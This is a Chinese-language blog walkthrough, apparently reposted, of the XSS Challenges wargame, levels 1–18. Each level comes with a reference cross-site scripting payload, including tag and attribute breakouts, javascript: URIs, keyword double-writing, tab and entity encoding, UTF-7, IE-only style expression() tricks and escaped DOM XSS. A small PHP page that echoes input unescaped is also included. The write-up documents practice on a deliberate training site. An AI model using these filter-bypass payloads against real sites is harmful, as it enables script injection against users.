XSS Challenges闖關筆記


前言

做xss做瘋了再來一個。

地址:https://xss-quiz.int21h.jp/ ,這個貌似是日本的一個安全研究員yamagata21做的。

 

做到第九關就跪了,而總共有二十關。一半都還沒有,實在是慚愧。第九關考的是utf-7編碼繞過實體編碼的問題,但是我在最新的chrome和firefox都不能復現。查了好一會資料才發現,utf-7 bom xss是用來bypass ie 7的。

這。。。。

又因為這個挑戰后面的關卡,貌似必須得過了前面的關卡才能通關。所以,只好做到這里了,先做個記錄,留着以后做吧

關於這個utf-7 xss實在是沒弄明白,還有這個關卡通關問題希望有知道的大佬能夠指點指點,謝謝了。

百度了一下,看了一些wp,發現一些大佬們關於utf-7 xss的也是沒有復現成功。很好奇他們怎么過的,竟然直接firebug前端彈框解決。

我。。。。(這都沒想到,™真的是腦塞了。。。)

 

Level 1

第一關通常都非常簡單,這里也確實是這樣。

沒有任何過濾,輸出點在標簽之間,閉合標簽,構造新標簽搞定。

參考payload:

"</b><svg/onload=alert(document.domain)>

 

Level 2

輸出點在標簽屬性內,閉合雙引號,構造on事件。

參考payload:

" onmouseover=alert(document.domain)>

 

Level 3

這道題有兩個參數,第一個參數是過濾的了,用第二個參數,什么都沒過濾。

需要burpsuite抓一下包。

參考payload:

<script>alert(document.domain)</script>

成功彈框

 

Level 4

這一關有三個參數,一二兩個參數都做了過濾,直接看第三個參數。

 

我的做法是閉合雙引號,閉合input標簽,構造新標簽。

參考payload:

"><svg/onload=alert(document.domain)>%0a  

同樣需要抓包

 

 

Level 5,6

這一關考回頭了,和Level 2的payload是一樣的,對了,還有Level 6也是一樣的payload直接過。

閉合屬性,構造on事件。

參考payload:

" onmouseover=alert(document.domain)%0a  

全程開着burpsuite,根本沒感受到輸入框的長度限制。

 

Level 7

空格分割屬性,參考payload:

test onmouseover=alert(document.domain)

 

Level 8

javascript:偽協議在a標簽的使用

參考payload:

javascript:alert(document.domain)

 

Level 9

這一關是利用utf-7編碼的,需要環境是IE 7

我用了ie復現也是不能成功,留下個payload吧。

參考payload:

" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4- 

直接firebug彈框,過!!2333

 

Level 10

發現過濾了domain關鍵字,但是只是替換為空而已。

那么可以雙寫繞過,參考payload:

" onmouseover=alert(document.ddomainomain)>

 

Level 11  

查看源代碼,老是不小心看到提示:

s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;  

發現過濾了不少東西,

1,script會被替換為xscript 

2,on事件會被替換為onxxx

3,style會被替換為stxxx

嘗試用tab制表(%09),換行(%0a,%0d,%0a%0d)等符號都不行。

明明之前有過幾乎一樣的題,都是用%09來過的啊?

比如test.xss.tv的第八關。

得到的是這樣子的

 

而這里在我用幾乎一樣的思路的時候卻過不了,如payload:

"><a href=javascri%09pt:alert(1)>test</a>  

得到的卻是這樣子的

也就是說后面的那一段被截斷了。

右鍵檢查發現:

被分割為href和pt:alert(1)兩個屬性了。

起初我懷疑是get和post兩種提交方式造成的。

然后本地搭建對比發現之后,其實是一樣的。

后台代碼如下:

 1 <html>
 2 <head>
 3 <title>test</title>
 4 </head>
 5 <body>
 6 <?php echo 'Post data: '.@$_POST['p'].'<br>';?>
 7 <?php echo 'Get data: '.@$_GET['g'].'<br>';?>
 8 <!--<a href="<?php echo @$_POST['p'];?>">click post</a> -->
 9 <!-- <a href="<?php echo @$_GET['g'];?>">click get</a> -->
10 </body>
11 </html>

post和get的payload一樣,一同輸出

 

得到的超鏈接都是"127.0.0.1/javascri"

右鍵檢查發現都是被划分為了兩個屬性:

換了個payload:

javascri%09pt:alert(1)

然后輸出在href里面,如同text.xss.tv第八關的輸出點一樣。

 

結果發現兩個都被正確解析為了javascript:alert(1)。

經過對比之后,我得出了這樣的結論。

%09也就是tab制表符,使用在單個標簽之內,會被瀏覽器`正確`去除,而在跨標簽的時候(也就是閉合前面原有標簽,使用在構造者構造的新標簽的時候)不會被正確去除。也僅僅是%09,其十進制編碼和十六進制編碼都不會受影響。

后面測試發現%0a和%0d一樣受到影響。

在得出了結論之后,我在想為什么會是這樣的呢?瀏覽器解析修正html語法的時候是怎么樣修正的呢?

想了很久也查了一些資料,依舊沒辦法得出結論,也只能暫時先埋個坑在這里了。希望路過的大佬能夠解釋一下,謝謝!

那么這道題應該怎么過呢?

參考payload:

"><a href=javascri&#09pt:alert(document.domain)>test</a> //&#09 tab制表符html十進制編碼
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的換行符,&colon;是冒號

 

成功彈框

 

Level 12 (https://xss-quiz.int21h.jp/stage_no012.php?sid=ecc5555af7eed1253bcca9131be080488c7ba675)

 查看提示:

"s/[\x00-\x20\<\>\"\']//g;  

把\x00-\x20的字符與及<,>,",'都替換為空。

想着還有什么能夠替換空格呢?用&NewLine;的話還是會沒辦法跳處value屬性。

看了一下sherlock17 大佬的wp,發現了竟然還有一個符號,學到東西了。但是得在IE下才可以。

`  

由於IE的特性,或者說瀏覽器競爭時代百家爭鳴導致的結果,會把`解析為引號。

 

那么我們的payload可以是

``onmouseover=alert(1)  

在IE下成功彈框

 

Level 13

這一關提示說是style attribute,也就是style的屬性問題。

想着閉合雙引號試試?結果發現被過濾了,那么就只能是style的payload了。

在wooyun上和owasp上找到了一些payload

如:

xss:expr/*XSS*/ession(alert(document.domain));

但在firefox下無法彈框,后來查了寫資料發現。

expression這個語法只存在ie上。

於是用ie測試了一下payload,成功彈框,但是陷入了死循環彈框中。(請謹慎使用)

 

Level 14

還是考的style的東西,但這次增加了過濾。

s/(url|script|eval|expression)/xxx/ig; 

 把url,script,eval,expression關鍵字都替換為了xxx。

解法就是尋找黑名單之外的關鍵字,但是我們發現其實我們可以直接用上面的那個payload:

xss:expr/*XSS*/ession(alert(document.domain));

 

Level 15

這一關考的是dom xss

由於在documnet.wirte中,這里是屬於js范疇,所以可以用js編碼

我們用十六進制編碼一下下面的payload

<svg/onload=alert(document.domain)>
\x3csvg\x2fonload=alert(document.domain)\x3e  

因為是在js范疇,document.write在輸出的時候會JavascriptDecode一下數據,會把數據原有\去除,即php里面的stripslashes

所以我們最終的payload應該是這樣的。

\\x3csvg\\x2fonload=alert(document.domain)\\x3e

成功彈框:

 

Level 16

提示說

"document.write();" and "s/\\x/\\\\x/ig;  

把\\x 替換成了\\\\x,但是js編碼又不止16進制,還有八進制,unicode編碼

用unicode編碼

\\u003cimg src=x onerror=alert(document.domain)\\u003e

 

用八進制編碼,同樣可以

\\74img src=x onerror=alert(document.domain)\\76

 

Level 17,Level 18

https://xss-quiz.int21h.jp/stage-No17.php?sid=0c8ab14016a836126b35d4ed081076aa3ded3aff

看了一下別人的wp,這兩關都是考的字符集的問題,且復現有瀏覽器要求需要在IE 6上復現。暫時不做研究,畢竟夜深了,但日后再研究!

 

總結:

通過這次的xss闖關,總算有點入門的感覺了。xss的世界真的是復雜而又美妙! 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM